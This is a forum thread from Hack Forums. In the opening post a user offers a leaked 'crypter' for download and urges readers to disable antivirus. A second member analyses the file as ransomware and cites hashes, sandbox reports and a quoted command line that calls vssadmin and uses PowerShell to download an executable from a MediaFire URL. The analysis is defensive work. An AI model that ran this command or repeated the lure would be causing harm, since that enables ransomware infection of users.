

Forum: [Hack Forums](#)

Thread: [ARKO\\$ CRYPTER](#)

kawazar73 - October 14, 2024, 12:22 pm

This crypter was sold from 2020 until July 2024 in underground forums, mostly used to obfuscate cryptominers and ransomware it worked well, unfortunately after someone leaked it online it is no longer 100% FUD but still does its job well.

It is recommended to deactivate the antivirus if someone wants to use it because it could be reported as a threat and be eliminated

link to download: [deleted]

Reviewed by Staff : Ransomware

Bastille - October 14, 2024, 9:38 pm

The file is a zip archive named "Arko\$ Crypter.zip", it contains two files : Arko\$ Crypter.exe
README-FIRST.txt

Let's say it's legit ? this team doesn't ring a bell to me, let's continue, what the .exe file actually does ?

VT report :

<https://www.virustotal.com/gui/file/0ca790770005e3be75c28c027841a7bc2ceefa01c479fcc2411a6bd12745cce8/detection>

MD5 : 4d5b199430c46b3042549fb012d2e84e

SHA-1 : dd764f7c993b58f73bf2a2774d042ebccf5c612d

We have a first alert message :

What does that mean ?

Quote:The "UPX dump on OEP" alert means that VirusTotal or another tool detected that the file was compressed with UPX and then decompressed in memory up to its Original Entry Point (OEP). This allows the analysis to observe the file's actual behavior.

However, although UPX is a legitimate and commonly used tool for compressing executable files, some malware also uses it to obfuscate their code and make detection more difficult. This type of alert may indicate that the analysis had to decompress the file to check if it was hiding something potentially dangerous.

Here we have 2 other alert messages :

What does that mean ?

Quote:The alert message "Detects the image load of vss_ps.dll by uncommon executables" refers to the fact that the file you uploaded is trying to load a particular DLL (Dynamic Link Library) file called vss_ps.dll, but this is being done by an executable that is considered unusual or uncommon.

Regarding the second message "Shadow Copies deletion using operating systems utilities", it's a

common behavior from ransomware, why ? Because VSS Shadow Copy allows you to go back to previous versions of a file. So if a file is encrypted and VSS Shadow Copy is enabled, you can easily restore the original file.

Last alert, and quite obvious, the malware software tries to download something from mediafire :

This is done through the following command line :

Code C:\Windows\System32\vssadmin.exe

powershell -Command Invoke-WebRequest -Uri

'https://download1322.mediafire.com/ne7ct2q347qgdjnZHI0Ie0j2wsPzEk3AWSePquFR7TeTLO2OcPNCOiSqtXxAp_Su_5si28f_mCdCj3iREf9bK3j6JAohB3XVeC6vIQ5Y43Cef6JqYJPC4wEdl5T1-desQ1_X8Vd0KhRTEAlY2rWkOwE3wJBaPxsuczSGxc1qNxC9/ukqbtanrxnlav7b/M.exe' -OutFile 'C:\Users\<USER>\AppData\Local\Temp\fz01-nmt5-pl8t-kmm6-mhtr.exe'

Unfortunately, the payload doesn't download as it's not available anymore :

I uploaded the .exe on TRIA.GE and except downloading the payload from mediafire (and other things such as disabling the VSS Shadow copy) it doesn't execute any "crypter". Here is the VT TRIA.GE report, which also confirms that it's a ransomware behavior :

<https://tria.ge/241015-e7g4lsyhjp/behavioral1>

sohamnre - January 31, 2025, 10:53 pm

(Oct 14, 2024 12:22 PM)kawazar73 Wrote: [\[CITE\]](#) This crypter was sold from 2020 until July 2024 in underground forums, mostly used to obfuscate cryptominers and ransomware it worked well, unfortunately after someone leaked it online it is no longer 100% FUD but still does its job well.

It is recommended to deactivate the antivirus if someone wants to use it because it could be reported as a threat and be eliminated

link to download: [deleted]

Reviewed by Staff : Ransomware

Motusora - January 31, 2025, 10:56 pm

(Oct 14, 2024 09:38 PM)Bastille Wrote: [\[CITE\]](#) The file is a zip archive named "Arko\$ Crypter.zip", it contains two files : Arko\$ Crypter.exe

READM-FIRST.txt

Let's say it's legit ? this team doesn't ring a bell to me, let's continue, what the .exe file actually does ?

VT report :

<https://www.virustotal.com/gui/file/0ca790770005e3be75c28c027841a7bc2ceefa01c479fcc2411a6bd12745cce8/detection>

MD5 : 4d5b199430c46b3042549fb012d2e84e

SHA-1 : dd764f7c993b58f73bf2a2774d042ebccf5c612d

We have a first alert message :

What does that mean ?

Here we have 2 other alert messages :

What does that mean ?

Last alert, and quite obvious, the malware software tries to download something from mediafire :

This is done through the following command line :

Code C:\Windows\System32\vssadmin.exe

powershell -Command Invoke-WebRequest -Uri

'https://download1322.mediafire.com/ne7ct2q347qgdjnZHI0le0j2wsPzEk3AWSePquFR7TeTLO2OcPNCOiSqtXxAp_Su_5si28f_mCdCj3iREf9bK3j6JAohB3XVeC6vIQ5Y43Cef6JqYJPC4wEdl5T1-desQ1_X8Vd0KhRTEAlY2rWkOwE3wJBaPxsuczSGxc1qNx9C9/ukqbtanrxnlav7b/M.exe' -OutFile

'C:\Users\<USER>\AppData\Local\Temp\fz01-nmt5-pl8t-kmm6-mhtr.exe'

Unfortunately, the payload doesn't download as it's not available anymore :

I uploaded the .exe on TRIA.GE and except downloading the payload from mediafire (and other things such as disabling the VSS Shadow copy) it doesn't execute any "crypter". Here is the VT TRIA.GE report, which also confirms that it's a ransomware behavior :

<https://tria.ge/241015-e7g4lsyhjp/behavioral1>

i appreciate the effort of keeping the community from harm.
thank you

Bastille - February 1, 2025, 12:17 am

(Jan 31, 2025 11:56 PM)Motusora Wrote: [\[CITE\]](#) i appreciate the effort of keeping the community from harm.

thank you

My pleasure, thanks for your art work for the MRT-X, more are coming ...

By the way, if you see anything suspicious feel free to let me know, I'll take a look at it ;)

And if you enjoyed this analysis, check this thread !

<https://hackforums.net/showthread.php?tid=6276795>

Motusora - February 1, 2025, 7:55 am

(Feb 1, 2025 01:17 AM)Bastille Wrote: [\[CITE\]](#) My pleasure, thanks for your art work for the MRT-X, more are coming ...

By the way, if you see anything suspicious feel free to let me know, I'll take a look at it ;)

And if you enjoyed this analysis, check this thread !

<https://hackforums.net/showthread.php?tid=6276795>

someone also sent me this in telegram, the link is obviously not from google and it took me to a download page

also virustotal says its clean but i still doubt it.

can you take a look at this too if you have time ?

Bastille - February 1, 2025, 9:32 am

(Feb 1, 2025 08:55 AM)Motusora Wrote: [\[CITE\]](#) someone also sent me this in telegram, the link is obviously not from google and it took me to a download page also virustotal says its clean but i still doubt it.
can you take a loot at this too if you have time ?

Not sure to have enough time, but I encourage you to post in the malware removal section (for malware analysis) to avoid going off-topic on this thread, and I know at least 3 or 4 HQ members that will be willing to check that ;)

If they don't, I'll in a couple of days !

LiraWedding12 - February 2, 2025, 1:19 pm

omg thx for beware us from that shit

thx very much

Tyr - February 2, 2025, 1:19 pm

Quote:unfortunately after someone leaked it online it is no longer 100% FUD but still does its job well.

tis how it works